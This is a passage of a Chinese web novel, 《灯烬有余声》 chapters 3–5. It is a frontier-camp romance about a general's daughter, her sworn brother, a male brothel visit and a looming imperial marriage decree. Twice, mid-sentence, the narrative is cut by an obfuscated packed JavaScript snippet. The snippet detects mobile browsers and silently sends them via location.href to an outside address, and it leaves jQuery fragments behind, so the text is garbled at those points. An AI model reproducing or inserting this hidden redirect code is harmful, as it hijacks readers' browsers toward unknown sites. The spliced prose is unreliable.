《灯烬有余声》 3. 怜惜 日头落至半山,城中小道洒满余晖。 “你记得么,六岁那年我病得快死了,军医大夫看了都摇头,说已经药石无效。” “是刚入营的屠军师过来看了眼,直言道唯有带我哥哥过来见一面,才有可能留住我的意识,延续我的性命。” 越清音踩着黄铜打造的马镫,晃悠悠地策着马,对乌维言说道: “当时我爹听闻此言,整个人都快疯了。” “因为我哥哥早已夭折在襁褓之中,坟茔旁的柳树都已经生得碗口粗细了。” 再刚强的汉子,也很难下令去掘自己亲生儿子的坟吧? 就算真掘了尸首出来,难不成真能让年幼病弱的小女儿看吗? 接下来发生的事情,乌维言也知道了:“那时将军刚收留我,他死马当活马医,索性让你我拜把子义结金兰。然后把我这义兄拉到你的床头,对你高喊‘哥哥回来了’——没想到,你竟然真的当夜就醒了过来。” “当时营中上下直呼军师半仙下凡,我爹更是喜极而泣,但屠军师过来看多一眼,神色立即凝滞。” 越清音说到这,忍不住再次感慨屠军师的火眼金睛:“他问也没问,就断定你并非我的真兄长。” 要知道他刚刚入营,父亲御下又严,压根没人敢同他说闲话。而她与乌维言都有鄯善的血统,生得鼻梁秀挺,幼时看着是很像的。 据闻在入营之前,屠军师是青城山的道人,早有声名在外,说他道法精微、断事如神。 如今刚入营,就实实在在地露了一手,此后观星布阵亦未曾出过疏漏,是以越柳营众位将领都很信任他。 “他说我命火不稳,是孤阳不长的前兆。若想求得健康长寿,就要我系缘于红尘,结良缘以护持,修善缘以续焰。” ——把话说白了,就是让她多走走,多玩玩,多认识些人,她的尘缘能助她安然渡过难关。 “所以我爹从来不管我玩乐胡闹,放任我长到这么大。” 夕阳的余光中,少女叹息着怀念过去的好日子,郁郁不乐地绞了绞马缰。 “谁知他一夜之间突然转性,非要拘着我学那高门大户的迂腐规矩,这也就罢了,他竟然还叫我收心……” “你敢信么,他叫我收心!” 越清音痛心疾首,同她的义兄控诉道:“难道他忘了屠军师的谶语了么?我是要闯荡红尘、修尘缘、续命火的人!” “要我收心,与收我的命有何区别!” 乌维言:“……” “……这么严重的吗?” 他讪讪一笑,尴尬道:“我还一直以为,是因为屠军师的谶语方便你玩乐,所以你才愿意信他。” “如若他的谶语是要你读书习武来续命火,恐怕你早就哭着喊着他是个神棍了……” 越清音凉飕飕瞥他一眼,腰间的玄黑匕首寒光湛湛。 乌维言立即改口:“越将军此举确实有异,不知越姑娘有何高见?” 越清音在马背上坐直身子,正色道:“我爹绝不可能无缘无故刁难我,他肯定有不得已而为之的缘由。” “而放眼整个大昭,能让他做‘不得已’之事的人,那可是寥寥无几……” 乌维言一个激灵,反应过来:“难不成是圣上的意思?可是圣上怎么会干涉臣子家子女的教养——” 他话到一半,脑海里突然浮现出一张令人生厌的面孔,想起那人对越清音上下打量时的垂涎神色,一时忍不住攥紧了马鞭。 “……是因为那道婚约吗?”乌维言问。 越清音沉重点点头:“我怀疑是,可我爹太会管人,营中口风太紧,所以只能同你出来打听打听,看看有没有京城那边的消息。” 乌维言不疑有他。 直到两人的马匹停在一栋灯火辉煌的三层红漆木楼面前,他安静地端视那块笔迹飞舞的牌匾几息,而后一言不发就掉转马头,逃命似的要往回窜。 然而已经迟了,越清音扬手一鞭就将他卷落了地。 乌维言被马鞭卷得难以动弹,却仍倔强地在地上咕蛹,见越清音死活不肯放他离开,急得脸红脖子粗地朝她大喊:“军中不得狎妓!” “别怕,”越清音体贴安慰道,“这是男风馆,该说狎小倌,不是狎妓呢。” 乌维言又羞又恼:“你你你我我我这这这……” 越清音愉快地无视了他。 她将那枚鼓囊囊的影青荷包捧出来,朝迎上前来的花楼干爹开朗笑笑。 “请问,平常来往京城与融州的商客,都爱找哪些小倌呢?” * 越柳营,郭修谨的副将帐篷内。 越逢平大马金刀地坐在主位,抱着胳膊,懒洋洋地看郭修谨试大红婚袍。 郭修谨是个嘴碎的,手脚忙得慌,嘴巴也不闲着,乐呵呵道:“前些日子就听屠军师说德星聚闪,边城定然喜事连绵——可不就是!我婚期在即,越将军您也快喝那杯女婿茶了!” 真是哪壶不开提哪壶。 越逢平没好气地瞪他一眼,刚转头,又听帐幕边缘的铜铃当啷地晃响,细麻布帐子被掀开,慕相玄迈开长腿进来。 越逢平不动声色地注视来人,暗自对比少年的身形与旁边的松木立柱,越看越是心情复杂,不知是感到欣慰还是恨得牙痒。 ……这臭小子,十一岁入营时还矮得像颗菜,一不留神,现在长得都快比他还高了。 等小子行完军礼,越逢平扫了眼他的身后,不出意外看见空荡荡一片,半个多余的人影都没有。 越将军阴阳怪气地开了口:“怎么,你伤好了,又想替她挨军棍?” 慕相玄倒也不怵,不卑不亢地反问道:“不是说丈夫是天,妻子是地么?既然是‘天’,我替她挨几下军棍又怎么了,还能塌了不成?” “……”越逢平嫌弃地拧起眉,“什么天啊地啊乱七八糟的?” 慕相玄从身后掏出那几本《女诫》,呈上给他看:“越将军也知道乱七八糟,为何还要清音去学呢?” 他认真道:“她很不喜欢。” 越逢平只想仰天呼一声苍天,愤恨拍桌道:“你以为是我逼她学的?” 越逢平就这么一个女儿,越清音幼时遭逢战乱,病得气息奄奄,千辛万苦才从鬼门关上抢回来。他如同重获至宝,平日里舍不得看她皱一下眉,纵得她恣意烂漫,比她的义兄还要像个高门纨绔。 他瞪圆虎目,直视面前这位更名易姓的少年,咄咄逼人:“可你不知道你们慕容家天潢贵胄,内宅规矩严苛如同牢笼么?稍有不慎就要丹书录愆、屏风记过。” “若非你请旨赐婚这般突然,打了我一个措手不及,我犯得着着急忙慌找人来教她规矩?” 慕相玄哪怕不看唇语,也听得见老父亲的雷霆怒吼。 慕容家确实不是草原雏鹰的良缘。 少年瘦削的脊背垮下了些,像是被难堪地钉在夯土地上,良久才垂下眼睫,轻声说:“那时候我没有别的办法了。” “……” 越逢平也泄了力气,跌靠在椅背上:“我知道,我也不是怪你,只是心里焦虑……” 他目光虚虚地远望,似乎能看到大昭王朝绵长的西北边境。 越、柳二氏世代为天家戍边,所扎建的越柳军营就是大昭西北面的铁壁铜关、山河锁钥。 天家慕容氏看重武将,立下代代与越柳营通婚联姻的约定,世缔朱陈,十代无违。 到了越逢平这一辈,越、柳二氏人丁单薄,是柳氏的女儿奉旨嫁入天家,他才得以免除婚约束缚,迎娶清音的母亲为妻。 如今柳氏已绝,而越氏只剩清音一女。 哪怕明面不提,所有人也都心如明镜,这一代慕容氏与越柳营的婚约人选,新娘子非她莫属。 越逢平只道自家小女儿年岁尚轻,满打满算才十七八岁,约莫还能再留她几年。于是年初的时候,他安心留在融州养伤,只支使了慕相玄回京述职。 谁知没过多久,他就收到京城传回的急信——二皇子当众请旨赐婚,想要迎娶越清音为皇子妃。 说是当年越清音及笄时,他携礼来贺,自此一见倾心,情根深种三年,趁如今战事已平,希望能早结良缘。 越逢平想想就觉得可笑。 他家清音刚及笄的时候,二皇子已经二十有五,府中纳了两名侧妃,膝下养的庶子都快到开蒙习字的岁数了。 说是皇子,可私德毫无先辈之风,带着花枝招展的侍妾群来到越柳营,没几日就把肃穆军营搅得乌烟瘴气。 而且见了貌美的女子就走不动道,他成日在清音的院门前徘徊打转,惹得慕相玄与乌维言两人神经紧绷,连觉都不敢睡,没日没夜地轮番盯着他。 听闻他离开融州时,除了原班人马,随行队伍还多了十数位鄯善舞姬……真不知他哪来的脸说自己情根深种。 要越逢平说,那人纯粹就是见色起意,图谋已久! 慕相玄记得那日,在富丽辉煌的金銮宝殿里听见二皇子的赐婚请求,他真是厌恶极了对方提起清音时那副急不可耐的龌蹉嘴脸。 那人就来了融州一回,只看到少女的清贵家世与如花美貌。 他没有看到,慕相玄在融州七年,同她朝夕与共,自幼两小无猜。 慕相玄记得,他晨兴夜寐地练功习武,自能上马就跟着边关将领们跋山涉水,仗剑沙场。 说不清有多少个踏冰而行、卧雪而眠的日夜,他只能靠着她亲手为他准备的棉衣,在寒天冻地里一点点积攒暖意。 也数不清受过多少伤,不知道有多少件被血染透的征袍,他生怕她见了会伤心难过,于是都把它们草草埋弃在漫长征途里。 慕相玄心想,他从戎卫国,历经艰辛,好不容易才抚定边疆……难道就是为了给二皇子一个和平的良机,让这龌龊闲人当着他的面求娶他青梅竹马的心上人吗? 绝对不是! 然而婚约在前,圣上又疼爱亲子,几乎不作反应就要应下。 等金口一开,再想挽回可就难了。 慕相玄当时压根没有细想,等反应过来的时候,他已经跪在了金銮宝殿的冰冷玉砖上。 他还有意无意撕裂了腰侧才缝合不久的伤口。 于是高高端坐在威严龙椅上的帝王,与满朝文武百官,就看到那位落魄肃王府的少年世子双膝触地,逆着光孤零零地跪在大殿中央。 他阖低头颅,露出被沙场摧折得削瘦薄韧的肩背,还带着伤,丝缕血色逐渐渗透腰侧的朝服,好像在无声诉说着他在这场冗长战事中,对王朝的披肝沥胆、耿耿忠心。 “圣上……” …… 圣上仁慈,慕相玄拿到了赐婚的许诺。 越逢平揉着额角,放缓声道:“你与慕……你与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702312|173490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你姑母化‘慕’姓来到融州,是圣上的深思熟虑,如今安源州事态未稳,你们也不好轻率揭露身份,但是……” “但是赐婚圣旨这两日就要到了,”越逢平叹声道,“我做父亲的有所私心,不希望女儿始终都被蒙在鼓里……” 慕相玄点头:“我会找机会同她解释的。” 他视线触及自己腰间的藕粉荷包,没忍住抬手捏了下,轻声说道:“婚姻大事,我不想瞒她。” 越逢平:“……” 好烦,好想打他。 越将军见过营中部下嫁女,婚宴热闹喜庆,但他那位牛高马大的部下从晨鸡报晓那一刻就开始哭,哭到夜半打更也不见停歇,最后还是他狠狠心将自己部下劈晕了,这场闹剧才算过去。 没想到现在轮到自己了。 希望他部下劈他的时候,用力一点,好让他晕得久一点。 营帐的另一头,郭修谨还试着新婚红袍,在铜镜面前自娱自乐地自我吹嘘。越逢平现在不想多看新郎官们的喜色,起身就要离开。 慕相玄却叫住他:“将军,那几位教导《女诫》的妇人,还是遣走吧,她不喜欢学那些东西。” 越逢平眼珠僵硬地转了转。 他侧眸睥住慕相玄片刻,忽而冷冷笑道:“这是你自己说的,你可别后悔!” 说罢拂袖大步离去。 慕相玄莫名其妙。 他不明所以望着自家将军离去的背影,郭修谨却寻到了新乐趣,笑嘻嘻地凑过来:“我早说你傻,你还不认,如今看来,果真傻得绝世无双。” 慕相玄直觉有鬼,但懒得搭理,抬步就要离开。 可身后的碎嘴子青年没有放过他,放声说道:“你以为那几位妇人是谁,教书育人的女夫子么?她们是教导婚仪的嬷嬷!” 少年步伐一顿,神情茫然地回头。 郭修谨啧啧地绕着他转圈,感叹道:“越夫人走得早,越将军只能同我们这群糙老爷们一起养个小姑娘,多的是不便的地方。” “自古女子出阁都颇多讲究,越将军得知赐婚的消息后,抓耳挠腮琢磨了几日,才谨慎决定请几位婚仪嬷嬷来替代母职。” 郭修谨朝呆若木鸡的少年挤眉弄眼:“你以为她们就是来教《女诫》的?后头要教的阴阳正责、周公之礼才是重点……” 慕相玄眼睫微颤,用力抿住唇线。 郭修谨难得从这板正的少年身上看到几分无措,愈发乐了,调侃道:“把嬷嬷遣走了,你怎么办,新婚夜陪她数星星?” 慕相玄:“……” ……好烦,好想打他。 他昨日才回到军营,满脑子都想着该怎么对清音坦白,又担心她生气,又害怕她拒绝,他连哄人的兵法都想好了,前有动之以情、晓之以理,后有装哭卖惨扮可怜……总之求着她怜惜,多少考虑考虑嫁给他。 他压根没想起新婚之夜的事,如今被郭修谨提起,心底又添一件心事,可是他又能有什么办法! 他连新娘都没说服,哪敢背着她去想什么新婚夜! 慕相玄索性不管那碎嘴子了,木着脸就往外走。 可郭修谨明显不想放过他,捞着他一通废话,嬉皮笑脸:“真的遣走吗,你不后悔?要不要我帮你同越将军说说,不如还是让嬷嬷留下吧,学一学也没有坏处,总好过新婚夜成不了礼……” 慕相玄甩了他两次,憋不住火冒三丈,终于怒了:“成礼是她一个人的事情吗,我是死了还是瘫了?怎么非得逼她一个女儿家去学那些东西?” “哦——” 郭修谨意味深长,朝童子鸡和善一笑:“抱歉,我以为你不会嘛。” 慕相玄:“……” 他平静地看着郭修谨,一言不发,默默拔出了腰间的佩剑。 郭修谨:“……” 下一刻帐间就打得天翻地覆,郭修谨边躲边喊:“我这身是婚袍,可不能弄坏!”见少年气势丝毫不减,他又见缝插针,一把扯下慕相玄腰间的藕粉荷包作挡。 慕相玄动作一顿,郭修谨举着越清音的荷包,高声道:“等下弄坏了这荷包,她定要与你生气!” 慕相玄嗤了声:“她乖巧温柔,可不会生这种气。” 郭修谨恨不得聋的是自己:“你坏的是耳朵还是脑子?营中谁人不知她与她义兄简直堪称越氏双孽,你竟说她乖巧温柔……” 持剑的少年冷着脸,指指她干瘪的小荷包:“她但凡有些银钱都攒着给我们花,自己紧巴巴地舍不得用,你怎能忘恩负义说她双孽!” 说着又要打起来,幸得郭修谨的副官急冲冲破帘而入:“郭将军!郭将军!” 两人步伐刹住,齐齐看去。 那副官高声喊道:“越将军叫您把军棍请出来!说他今日要亲手为越氏将门除去双孽!” 慕相玄诧异:“什么?” 郭修谨偷瞥他一眼,轻咳了声:“发生何事了?” 副官连声道:“巡城兵来报,说见到越姑娘与乌维公子进城北的男风馆了!” “还说俩人出手阔绰!一口气叫了二十名小倌!” 慕相玄:“……” 郭修谨也觉得尴尬了:“不是,她荷包还在这儿呢,她哪来的银钱?” “这个啊……” 副官小心觑了眼旁边:“听说她走的是慕将军的账。” 慕相玄气笑了。 4. 命苦 望月坊内丝竹声悠然婉转,越清音推开临街的碧纱花窗,从三层阁楼往远眺望,晚风微暖,云片细碎,像数不清的浅白鱼鳞铺列在天幕上。 屠军师说过,鱼鳞天,不雨也风颠,那是雨师的先行旗。 越清音撑住下巴,俯视着近处的市肆商户,笨重的黄土砖外刷了层略讲究的白石灰,已经被过往雨水冲刷得斑驳掉色了。 她瞳眸里微光浮动,不知怎么就想起了去年她的生辰…… 深秋夜晚,雨丝斜斜,千里迢迢赶回来的少年翻上她的院墙,披着一身清凉水汽,鲜眉亮眼,远远就朝她笑。 “清音!” …… “清音。” “清音!” 乌维言的嗓音突破回忆的光影,越清音如梦方醒,恍惚着问:“怎、怎么了?” 乌维言大呼皇帝不急太监急,气得跺脚:“我说,越将军跟着了魔似的逮着你学女训,不会是二皇子在背后搞什么鬼吧?” 他记得那个人。 清音及笄的那段时间里,原本慕相玄的疯病已经好了些,不再每日对乌维言念叨那些“男女有别”、“兄妹亦需分居前堂后寝”的死脑筋汉人道理。 整个越柳营都久违地秋风和煦、天朗气清。 结果二皇子过来了,那人长了双狗眼,像见着了龙肉一般,视线总要粘在清音身上滴溜溜地打转,扒都扒不下来。 还有他带来的人,那些猖狂得连眼睛都不长的狗下属。 一行人为了献媚讨好权贵,竟然围住落单的少女,蠢蠢欲动,小聋子撞上这幕,当场就被惹得发作,那日在营中闹出了极大的动静。 那些时日,乌维言可谓一心多用,既要警惕着二皇子包藏祸心,又要提防着慕相玄放纵杀性,过得真是提心吊胆、水深火热…… 一想起这些糟心事,乌维言连用膳都没了兴致,猜测道:“莫非是二皇子贼心不改,拿着慕容家与越柳营的婚约做由头,想要逼你嫁给他?” 越清音愣了下,下意识道:“不会。” 乌维言急了,坐直身道:“你怎知不会?” “别以为我不知道,虽说那年他人离开了融州,可之后你每年生辰,他都差人送来信件与贺礼,如此纠缠,明摆着就是从未放下过觊觎之心!” 越清音还是否认:“不会。” 乌维言急得嗓子冒烟,还想再说,越清音却笃定地打断他。 “不会是他,相玄答应过我的。” 就在去年她的生辰,那个秋季雨夜里。 那是个乏味无趣,甚至叫人恹恹不喜的生辰。 越清音早早回了房,心不在焉地梳洗完,本想早些歇下,可冥冥之中有什么牵动着她,鬼使神差推开了房间的木格子窗。 缥缈雨丝打斜落入庭院,在薄砖地面漾起几片涟漪。 轻叶划下树梢的那刻,一身霜色束袖劲装的少年恰好翻上她的院墙,越过院景望向她的窗。 越清音还以为自己喝糊涂了,不然怎会看见此刻应在千里之外的人。 她恍惚着站起身,见他坐上墙头唤她的名字,笑得清澈爽朗:“清音!” 她终于回过神,忙去开了房门,招手叫他过来:“你怎么回来了?不是要在……” “没事,我安排好了,能回来陪你几个时辰。” 慕相玄步伐轻盈地跨上台阶,停在她的房门前,见她迷迷蒙蒙的模样,又忍不住想逗她,于是挑着她的发辫,拿发梢挠挠她的脸颊:“今儿生辰,玩得开心么?” 越清音起先还在笑,痒得躲了躲,听他的话又想起了什么,撇下嘴角拍他的手:“不开心。” 憋闷的力度传到手背,慕相玄弯下腰,探究地看她的表情:“怎么了?” 被他一问,心底的委屈就止不住地往上冒。 越清音低下脑袋,踢踢门槛闷声道:“我又收到二皇子的信了,他好无耻。” 她长记忆以来,就从未在别人身上吃过瘪,如今三番五次被一只苍蝇缠上,躲不掉,又不能直接拍死,只觉烦闷又恶心。 “他话里话外都是慕容家与越柳营的婚约,提醒我别忘,还恬不知耻,说什么情投意合,看我年纪小,所以愿意再等等之类的鬼话……” 她没留意少年眼底逐渐涌起的戾气,嘟嘟囔囔地倒了小半日的豆子,终于觉得发泄了出来,舒畅百倍。 野阔草原上长大的少女气得快、忘得也快,又有了心情与他玩笑: “你猜,我给他回了什么?” 慕相玄垂眸敛下情绪,顺着她温声道:“回什么了?” 越清音得意地朝他弯弯杏眼。 “我说慕容家与越柳营的婚约乃太祖皇帝所立,万万不可废弃!” “只是二皇子岁数太大,再怎么等也是与我不般配的,实在不妥。但好在我爹年纪也大,与他登对,若他真想结两姓之好,那就让我爹娶他好了!” 慕相玄:“……” 他哭笑不得,第一次见给自己找继母,不对,应该是继父,不对,好像也不对…… 他一时不知该说什么才好,反倒是身边的少女玩笑间凑近了些,看清他肩头与发尾潮湿的雨意,又开始自责。 “我都忘了外面下着小雨呢,你进来擦一擦,小心着凉了。” 越清音拉住他的袖子,想叫他进房,却立即感受到了明显的朝反方向的拒绝力道。 慕相玄好像被钉在门外,任她怎么拉也拉不动。 他没朝女儿家的闺房里多看一眼,视线只落到她的门扉上,好声好气地解释:“进院已经十分冒犯,我不能再进房了。” 越清音:“……” 知道他又犯病了,她体贴地没反驳,回身去找帕子给他擦雨水。 慕相玄在她背后说:“若你再收到他的信,直接给我。” 越清音应了,翻了张新帕子出来,又带点傲气:“让他做春秋大梦去,我才不喜欢他!” 慕相玄也点点头,认真应道:“嗯,清音不要喜欢他。” 越清音看见他接过她递去的帕子,却没有拿去擦身上的雨水。 他将帕子对折几次,整齐叠好,然后塞进了衣怀里。 越清音:“?” 狡猾小贼!当着她的面偷她的帕子! 淅沥小雨中,一高一低的两道身影静静立了片刻,檐角垂下的水线串成珠帘,将她房内透出的灯火细细碎碎地折射到二人身上。 越清音开始走神,歪着脑袋数他肩上有多少颗水珠子。 不知数到第几颗的时候,忽然看见他转过身来正面对着她,似轻咳了下:“那……” “你不喜欢他的话,可有喜欢谁吗?” 她反应慢半拍地抬起头,少年看清她迷茫的神色,又改了口:“或者……喜欢什么样的人?” 许是因为相识多年,她一下就发现他不知从何而来的紧张,还有因为想要遮掩紧张而显得无处安放的手脚。 越清音眨眨眼,只觉得这问题很好回答:“我喜欢听话的。” 从小到大那么多玩伴,她就喜欢听她的话、会陪她胡天胡地胡闹的人。 她抬抬小巧的下巴,慷慨补充道:“要对我言听计从的那种!” 昏暗灯火下,慕相玄倏尔卸下紧绷,语调又轻又快地扬了起来: “听话就行了?” 越清音:“嗯……嗯?” 方才她叫了几次进屋、却怎么拉也拉不动的少年,在下一刻自投罗网。 他迈开步子,干脆利落地跨过她寝室的门槛,听话顺从地踏进她的屋子。 少年人身上的暖热气息靠近她,嗓音透着满腔愉悦:“听话就行了?” 他问:“还有吗?” 越清音被他的体温烘得莫名脸颊发热,抬眼就看见他线条漂亮的下颌,还有高挺鼻梁打下的侧影。 她稀里糊涂就答了句:“还要好看的……” 这下慕相玄当真展颜笑了起来。 “怎样才算好看?” 他低头凑近些,牵起嘴角端详她的神色:“我好看吗?” 越清音很难违心,晕乎乎地点了点头,又点了点头。 那夜雨长,两人坐在门槛上看了小半夜的雨。 直到月光隐约出来,越清音开始点头打瞌睡,点到他的肩上时,她感觉到发顶传来轻抚的力度,听见他似安抚似承诺的话音。 “别担心,不会让你嫁给他的。” …… 从回忆中抽身出来,越清音笃定道:“他答应过我的事情,从来没有做不到的。” “这回我爹要我学女训,虽然蹊跷,但定然不是因为我要嫁给二皇子了。” “那还能是什么?”乌维言百思不解。 越清音往椅背上悠哉一靠:“这不就来打听了么!” 话说着,蔓草纹缠绵的房门被推开。 二十名花枝招展的俊俏小倌,伴着大堂里喧嚣嘈杂的谈笑声、丝竹声鱼贯而入,五彩缤纷的衣摆翻卷,仿佛将山野春季搬进了房间里。 “小的们见过二位爷。” 越清音眨着杏眼,左右看一圈,又左右看一圈。 为首的紫衫小倌盈盈一笑,扭着腰肢熟络招呼道:“二位爷,今儿是听曲、看舞,还是玩些花的?” 打小不爱学汉人文化、更爱往关外草原跑、父亲但凡有点俸禄奖赏都拿去补贴军营、几乎不给他们月钱、压根没钱在内城见世面的淳朴兄妹俩安静了片刻。 乌维言迟疑着环顾四周:“玩什么花,哪有花?” 越清音犹豫地绞绞手指:“花有什么好玩的?” 紫衫小倌:“……” “看来二位爷是第一次来,那我们可要好好招待了。”紫衫小倌娇俏俏地笑,招手让身后的小倌们一并迎客,姹紫嫣红们绕着圆桌款步过来。 越清音在营中见多了赤膊大汉,难得见这样腰肢柔软的年轻儿郎,一时间眼花缭乱,都不知道该看谁,迷迷糊糊地应着: “好,好,都来来来……” 反倒是乌维言一个激灵,及时叫停他们凑过来的脚步:“等等!你们坐那儿就好!” 小倌们被阻隔在几个座位后,茫然无措看着兄妹俩:“这也太远了些……” 越清音正在兴头,也不满意了:“我还没看清楚呢。” 乌维言好不容易记起这是处寻欢作乐的温柔乡,连声阻止道:“等你看清楚,我就没法跟相玄交代了!” 越清音一下想起聋子少年的古怪病情,他向来不喜欢别人太接近她,只得不情不愿地挪后些身子。 “行吧……”她瞟了眼面前的桃红柳绿,难掩遗憾,“你们就坐那边吧。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702313|173490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她拍拍手:“都来说说看,近来有听说过什么京城的新鲜事么,高门大户、声势浩大的那种?” 小倌们听懂了两位客人的意思。 听故事的可比听曲看舞的容易伺候多了,他们纷纷相视笑了:“那可多了!” 满屋子的俊俏儿郎围着圆桌落坐,开封香醇酒酿,眉飞色舞、绘声绘色、比手划脚地讲了起来。 越清音与乌维言起先还松闲地尝着佳酿,然而听着听着,脸色逐渐变了。 * 慕相玄飞快策马,赶在越柳营士兵的前头到达望月坊。 他随手抛下马缰给迎前的侍者,背向夜幕,大步进了楼,冷不丁被乍然辉煌光亮的灯火照得长眸微眯。 待视线焦点重新凝聚,他看清这栋三层木质建筑里的靡丽妖艳,忍不住额筋直跳。 太放浪了…… 他拦住花楼的干爹打听人,快步往上走,再一次侧身避开嬉笑玩闹的年轻小倌后,心底的酸意丝丝缕缕地往外钻。 屠军师是叫她多玩玩、多认识些人……但也没叫她多玩玩男人啊! 他有些委屈地想,而且她玩的还是外头的男人。 拾级而上,望月坊浓艳醉人的熏香一阵阵扑近鼻息。 慕相玄自幼嗅觉过人,多闻几口就觉得些微燥热,一时之间脑子里思绪纷乱,既担心自己失态,又担心乌维言那边不安分。 清音没有军衔,也就罢了,可他与乌维言都是在军中任职的。 越柳营军风肃正,严禁营中官兵狎妓取乐。 如今他二人进了这等花街柳巷,若是误碰了什么腌臢药物,按耐不住陋性,想做什么伤风败俗的丑事……慕相玄冷静地想,那他只能先杀了乌维言,再刎颈自尽,无论如何也要保全越柳营的名声。 慕相玄想到这,步伐一顿,恰时听见身边小倌们妩媚动人的娇笑声,心中又是难过。 ……他这样板正无趣,也怨不得她被外头的妖精吸引,家花哪有野花香…… 可一低下眼睛,又瞧见自己双袖上紧束着的护腕。 厚实的玄色鞣制鹿皮料子,双层的银色绣线细细密密地码齐边缘,还有怕磨伤皮肤而特意添上的柔软内衬,无处不显出缝制人的体贴用心。 ……这是去年秋季时,她亲手给他的。 那日还是她的生辰,他往返匆忙,给她准备的贺礼都被衣襟压坏了,他局促得不知该怎么开口。 可她神神秘秘地叫他过去,问也没问她的贺礼,反倒喜滋滋地将一副新护腕塞到他怀里。 她说她攒了好久的钱才买到上好的料子,又缝了好些时日才做好的。 那日是她的生辰,她却满心欢喜地给他送礼。 慕相玄每次想起,都心软得一塌糊涂。 他安慰自己,不会的,他与她自幼相伴、情谊深厚,她才不会这样轻易就变了心。 定是乌维言教唆带坏了她,竟将她哄来这勾栏瓦舍! 说起来,乌维言这人实在不靠谱,说是义兄,可行为举止没有半分楷模榜样,天天伙着她招猫逗狗。 前些年越将军也看不下去了,甚至一度想让慕相玄也与二人结拜为兄妹,希望他能将兄妹俩带得明堂正道些。得亏慕相玄抵死不从,不然如今赐婚,他与清音就是逆道乱常,兄妹乱、乱…… 少年想想就觉得耳根子滚烫,忙归拢注意力,加快脚步去寻找兄妹俩的房间。 也不知道乌维言有没有护好她,这儿全是些言行浪荡之人,她性子天真,也不知道会不会无措害怕,会不会受人调笑欺负…… 正想着,脚步逐渐靠近廊子尽头,近处的房门忽然传出异响。 他步子一顿,侧耳只听见细弱的哭腔,依稀混着几声“不行”、“不要”…… 慕相玄心脏一震,抬眼发现就是他要找的房号,霎时间耳内轰地一声,只觉浑身热血裹着怒意往上冲。 他二话不说猛力踹开房门,浓醇的酒气扑面而来,参杂着一道被纠缠淹埋的橙花香气。 乌维言就躺在门边,喝得人事不省,衣冠不整的小倌们层叠起伏,也不知道压着谁。 少年将军勃然大怒,几步上前用力踹开人堆,却发现他们抱着的只是几坛子酒。 有小倌还在呜呜咽咽地哭:“越姑娘,不行了,我们真的喝不下了……” 桌子的另一侧,越清音双颊酡红,还抓着个貌美小倌斟酒:“陪我喝!” 那小倌哭得嗓子都哑了:“虽说借酒浇愁,但也没有一下就把人浇死的道理吧……” 越清音悲愤交加,心说若你是我,知道从此好日子到了头,往后只有受不完的苦难,恐怕你也恨不得今日就被酒浇死! 她抬袖子狠狠抹了把嘴,推开梨花带雨的小倌,恨铁不成钢。 “一群花架子,没一个能喝的!” 少女又仰头咕咚喝了半坛,觉得不尽兴,终于想起更加花架子的义兄。 她伸手往后去拽乌维言,口齿不清地说道:“二、二哥,你再给我叫十个小倌过来,也……也记在相玄的账上……” 谁知二哥没拽着,反倒勾住了谁的腰带。 来人顺势将她提了过来,捞到自己的怀里,她懵懵地侧过脑袋,听见少年凉飕飕的、辨不出情绪的声线。 “何必麻烦,不如直接叫相玄陪你喝,怎么样?” 5.全都 越清音喝得晕头转向,视野里的不速之客面容发散,好像有四只眼睛两张嘴,鼻子还在整张脸上到处乱跑。 她伸出手指追着他的鼻子描,尽力凝聚视线:“这位美人,你生得挺别致……” 慕相玄听这称呼,气得咬咬牙捉住她的手腕:“不读圣贤书,偏学柳七词,如今都知道上青楼喝花酒了!” 他话不多说就拉着她朝门口去:“等回家了再与你讲道理。” 越清音被拉拽走了几步,意识到受制于人,立即缩着肩膀与手臂要挣扎:“不是,你是谁啊……” 可这美人好大蛮力,她拔了两次都拔不出自己的腕子,心底憋闷,强烈指责道:“真是可恶,相玄都没拉过我呢,你竟敢放肆……” 慕相玄又气又好笑,步子停到门边,回头与她分辩:“好没良心,我没拉过你么?” “你从前贪玩,春天要翻山越岭看川河融冰,秋天又要漫山遍野摘花捡果子,时常兴致勃勃远离营地疯跑,玩到天黑又觉害怕,哪次不是我拉着你回家的?” 越清音呆懵懵看着他,眼珠子迟缓地转了转,终于认出来人:“相……” 慕相玄轻哼了声。 对方面色实在不好,越清音甚至生出错觉,还以为是自己偷腥被捉了现场。 “我只是在这儿喝酒……”她小声辩解道。 对面的人没应答,少女迟来的心虚作祟,低头看看鞋尖,不敢再吱声。 慕相玄原本满腹长篇大论、批评话语,可瞧着她在他跟前埋低脑袋,睫羽湿漉颤抖,又觉得就连她垂落的几绺发丝都十分可怜。 他再也说不出半句重话。 甚至还想安抚地摸摸她的发顶。 慕相玄叹了口气,压根拿她没办法。 想起之前听屠军师讲过道法因果,他心道,大概这姑娘就是他宿世的冤家、命里的克星、前债的报应…… 慕相玄很干脆认了命,放缓语气对她说道:“先离开这儿。” 他转身拉开房门。 大堂原本的气氛喧嚣热闹,现在却静落许多,惯常被人声掩埋的丝竹乐声突兀地跳显出来,半死不活地暖着场子。 只见满堂的客人都从酒桌上分了心,悄然打量望月坊大门前的新客——几位牛高马大、半张脸蒙着防风布巾的壮硕汉子。 慕相玄快手将房门阖上了。 他一眼就瞧出那几位汉子是越将军的亲兵,如今遮掩样貌过来,想必是奉命来捆这屋子里的两兄妹回去的。 